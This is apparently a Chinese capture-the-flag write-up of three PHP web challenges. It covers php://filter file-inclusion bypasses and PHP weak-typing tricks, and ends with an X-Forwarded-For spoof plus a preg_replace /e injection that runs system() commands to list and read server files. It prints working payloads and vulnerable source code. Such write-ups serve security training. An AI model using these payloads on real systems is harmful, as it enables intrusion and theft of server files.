file_include、easyphp、ics-05

file_include

前言

文件包含漏洞,简单说就是:程序用「用户可控的参数」拼接文件路径,直接执行「包含文件」操作,导致攻击者能让服务器包含任意文件(如敏感信息、恶意代码)。

解题

打开题目发现一段文件包含代码

如果flag存储在PHP文件中(如flag.php,内容是<?php$flag="CTF{xxx}";?>),直接包含会执行PHP代码但不输出flag,此时用php://filter伪协议编码读取源码

?filename=php://filter/read=convert.base64-encode/resource=flag.php

查看源码,发现read,base64,encode等关键字符被过滤了,进行混编

尝试大小写混写绕过

复制代码
?filename=PhP://FiLtEr/reAd=CoNvErT.BaSe64-EnCoDe/reSoUrCe=flag.php

也不行

尝试插入不可见字符(空格 /%00/%09)

插入空格(%20 URL编码后,浏览器会自动转义,也可直接写空格)

复制代码
?filename=php://filter/rea%20d=convert.base64%20-encode/resource=flag.php

插入制表符(%09,效果同上)

复制代码
?filename=php://filter/rea%09d=convert.base64%09-encode/resource=flag.php

插入空字符(%00,适合严格过滤场景)

复制代码
?filename=php://filter/rea%00d=convert.base64%00-encode/resource=flag.php

都不行

用过滤器别名替代 base64-encode

复制代码
?filename=php://filter/read=convert.base64/resource=flag.php

双写关键词(应对 "替换过滤")

复制代码
?filename=php://filter/rereadad=convert.base64base64-encode/resource=flag.php

协议前缀省略(极简绕过)

复制代码
?filename=//filter/read=convert.base64-encode/resource=flag.php

用其他编码过滤器替代(终极方案)

rot13 编码(简单替换编码,在线可解)

复制代码
?filename=php://filter/read=convert.rot13/resource=flag.php

quoted-printable-encode 编码(MIME 编码,在线可解)

复制代码
?filename=php://filter/read=convert.quoted-printable-encode/resource=flag.php

组合绕过

大小写+空格+简写组合

复制代码
?filename=PhP://FiLtEr/re%20aD=CoNvErT.BaSe64/reSoUrCe=flag.php

双写+不可见字符组合

复制代码
?filename=php://filter/rere%00adad=convert.base64base64-enco%20de/resource=flag.php

这些都不行

用iconv编码转换替代了传统编码(将指定的文件从UCS-4*转换为UCS-4BE 输出)

复制代码
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php

发现flag:cyberpeace{52cd898a8a199b99a633098ecbb79162}

easyphp

打开题目是一段代码

php 复制代码
<?php

// 高亮显示当前文件的源码(方便查看代码结构,CTF 中常见调试/展示手段)

highlight_file(__FILE__);

// 初始化两个标志位,均为 0(需同时置为 1 才能获取 flag)

$key1 = 0;
$key2 = 0;

// 从 GET 请求中获取参数 a 和 b(用户输入可控)

$a = $_GET['a'];
$b = $_GET['b'];

// 第一个条件判断:需要满足 3 个条件才能进入内层逻辑
// 1.  参数 a 必须存在(isset($a))
// 2.  a 转换为整数后必须大于 6000000(intval($a) > 6000000)
// 3.  a 的字符串长度必须 <= 3(strlen($a) <= 3)
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    // 第二个条件判断:针对参数 b 的校验
    // 1. 参数 b 必须存在(isset($b))
    // 2. 对 b 做 md5 加密后,取末尾 6 个字符,必须等于 '8b184b'
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        // 若 b 校验通过,将 key1 置为 1(第一个标志位满足)
        $key1 = 1;
    }else{
        // b 校验失败,直接退出并输出提示
        die("Emmm...再想想");
    }
}else{
    // a 校验失败,直接退出并输出提示
    die("Emmm...");
}

// 第三个条件判断:针对参数 c 的校验(c 需是 JSON 格式字符串,解析后转为数组)
// 1. 用 json_decode 解析 GET 参数 c,@ 抑制解析错误,解析后强制转为数组($c=(array)...)
$c=(array)json_decode(@$_GET['c']);

// 内层条件:需满足 2 个大条件才能进入下一层
// 1. $c 必须是数组(is_array($c))
// 2. $c["m"] 不能是数字/数字字符串(!is_numeric(@$c["m"]))
// 3. $c["m"] 比较后必须大于 2022(利用 PHP 弱类型比较,非数字可通过特定值满足)
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    // 进一步校验 $c["n"] 的结构
    // 1. $c["n"] 必须是数组(is_array(@$c["n"]))
    // 2. $c["n"] 的元素个数必须等于 2(count($c["n"]) == 2)
    // 3. $c["n"][0] 必须是数组(is_array($c["n"][0]))
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        // 查找数组 $c["n"] 中是否存在 "DGGJ" 字符串,返回对应的键名(array_search 弱类型查找)
        $d = array_search("DGGJ", $c["n"]);
        // 若未找到($d === false),直接退出
        $d === false?die("no..."):NULL;

        // 遍历 $c["n"] 数组,若存在元素严格等于 "DGGJ",直接退出
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
       
        // 所有校验通过,将 key2 置为 1(第二个标志位满足)
        $key2 = 1;
    }else{
        // $c["n"] 结构校验失败,退出
        die("no hack");
    }
}else{
    // $c 基础校验失败,退出
    die("no");
}

// 最终判断:只有 key1 和 key2 同时为 1(所有条件满足)
if($key1 && $key2){
    // 包含 flag 所在文件(Hgfks.php 中存储了 $flag 变量)
    include "Hgfks.php";
    // 输出成功提示
    echo "You're right"."\n";
    // 打印 flag
    echo $flag;
}

?>

根据代码我们需要构造以下参数

参数a:需满足「短字符串(长度≤3)但intval转换后>6000000」,利用PHP科学计数法(如7e6,strlen=3,intval=7000000);

参数b:需找到一个字符串,其md5后末尾6位是8b184b(可通过爆破/查表获取,如b=53724等);

参数c:需构造JSON数组,满足:

m非数字但弱比较>2022(如m="2023a",非数字且字符串比较>2022);

n是长度为2的数组,第一个元素是子数组;

array_search("DGGJ",c\["n"\])能找到(弱类型匹配,如c["n"]=[[1,2],0],因"DGGJ"弱比较等于0),但遍历无严格等于"DGGJ"的元素。

满足以上所有条件即可触发include"Hgfks.php"并输出$flag。

php 复制代码
?a=7e6&b=53724&c={"m":"2023a","n":[[1,2],0]}

发现flag:cyberpeace{5ade1ad008084e83ceb8d55d751f0f79}

ics-05

启动靶机后进入一个系统,一顿乱点后发现只有设备维护中心可以进去

进入看源码

发现了参数?page=index,点一下发现index.php。此时用可以用php伪协议读取index.php的文件内容

php 复制代码
?page=php://filter/read=convert.base64-encode/resource=index.php

解码

php 复制代码
<?php
error_reporting(0);

@session_start();
posix_setuid(1000);

?>
<!DOCTYPE HTML>
<html>
<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">

</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>

    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });

    </script>
<?php

$page = $_GET[page];

if (isset($page)) {
if (ctype_alnum($page)) {
?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php
                if (strpos($page, 'input') > 0) {
                    die();
                }
                if (strpos($page, 'ta:text') > 0) {
                    die();
                }
                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}

//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}

最主要的是以下代码:

php 复制代码
<?php
// 功能说明:临时实现简单的输入输出测试功能(正则替换演示)
// 开发状态:正在开发中,仅允许内部人员测试(未正式上线)
// 核心用途:通过正则表达式对输入的字符串进行替换操作,用于内部功能调试

// 身份校验:仅允许 X-Forwarded-For 请求头为 127.0.0.1 的请求访问(模拟本地/内部来源)
// 注意:X-Forwarded-For 是可伪造的请求头,此校验方式安全性极低,仅适用于测试环境
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    // 输出管理员欢迎信息(标识已通过身份校验)
    echo "<br >Welcome My Admin ! <br >";

    // 接收URL中的GET参数,用于正则替换的三要素
    $pattern = $_GET['pat'];      // 正则表达式模式(如:/abc/ 匹配字符串中的"abc")
    $replacement = $_GET['rep'];  // 替换内容(将匹配到的内容替换为此值)
    $subject = $_GET['sub'];      // 目标字符串(需要进行正则替换操作的原始字符串)

    // 校验三个必要参数是否均已传入(避免因参数缺失导致的语法错误)
    if (isset($pattern) && isset($replacement) && isset($subject)) {

        // 执行正则替换操作:preg_replace(模式, 替换内容, 目标字符串)
        // 注意1:默认仅替换第1次匹配结果,若需全局替换需在模式后加"g"修饰符(如:/abc/g)
        // 注意2:若模式中包含"/e"修饰符(PHP 7.0+已废弃),会导致替换内容被当作PHP代码执行,存在代码注入风险
        // 注意3:此函数执行结果未输出/存储,仅执行替换操作(测试环境下的演示逻辑)
        preg_replace($pattern, $replacement, $subject);
    } else {
        // 若缺少任意参数,直接终止脚本执行(避免后续逻辑报错)
        die();
    }
}
?>

?>
</body>
</html>

伪造请求头(绕过身份校验),使用bp抓包,发送到Repeater模块在请求头中添加

php 复制代码
X-Forwarded-For:127.0.0.1

发现登录成功,这里不要把X-Forwarded-For放到最后,否则发不过去

构造正则注入payload(利用/e修饰符)

pattern 需包含/e修饰符,且能匹配subject中的内容(否则替换不执行);

replacement写入要执行的PHP代码。

php 复制代码
?pat=/abc/e&rep=system("ls")&sub=abc

如图列出目录

css

index.html

index.php

js

layui

logo.png

s3chahahaDir

start.sh

视图.png

获取layui文件的内容

php 复制代码
?pat=/abc/e&rep=system("cat layui &&ls")&sub=abc

发现访问失败了,可能是Web服务器或PHP通常对参数进行URL解码,这意味着,当您在URL中使用%26%26时,它会被解码为&&,然后传递给system函数。

php 复制代码
?pat=/abc/e&rep=system("cd%20layui%26%26ls")&sub=abc

好像没有有用的信息,换一个文件夹

php 复制代码
?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26ls")&sub=abc

发现了flag文件夹,进入该文件夹,获取里面的文件名

php 复制代码
?pat=/abc/e&rep=system('cd%20s3chahahaDir/flag%26%26ls')&sub=abc

发现flag.php文件

php 复制代码
?pat=/abc/e&rep=system('cat%20s3chahahaDir/flag/flag.php')&sub=abc

发现flag:cyberpeace{c48ef7ab996247b53ad748bea83d7118}

相关推荐
新缸中之脑2 小时前
Moltbook 帖子精选
开发语言·php
青岑CTF3 小时前
攻防世界-Web_php_include-胎教版wp
开发语言·安全·web安全·网络安全·php
遇见火星3 小时前
Linux综合性能监控工具dstat命令详解
linux·服务器·php·dstat
188号安全攻城狮5 小时前
【PWN】HappyNewYearCTF_9_ret2syscall
linux·汇编·安全·网络安全·系统安全
曲幽5 小时前
FastAPI部署中间件实战:从CORS到自定义,让你的API更健壮
python·fastapi·web·cors·starlette·middleware·call_next
HaiLang_IT5 小时前
网络安全与执法专业【精选选题表】优质选题参考
安全·web安全·php
青岑CTF6 小时前
moectf2023-了解你的座驾-胎教版wp
安全·web安全·网络安全
刘婉晴6 小时前
【kali渗透测试】中间人攻击
网络安全·渗透测试
小李独爱秋7 小时前
计算机网络经典问题透视:RTS/CTS是强制使用还是选择使用?
网络协议·计算机网络·网络安全·信息与通信·信号处理
瘾大侠7 小时前
HTB赛季10 - Facts
网络·安全·web安全·网络安全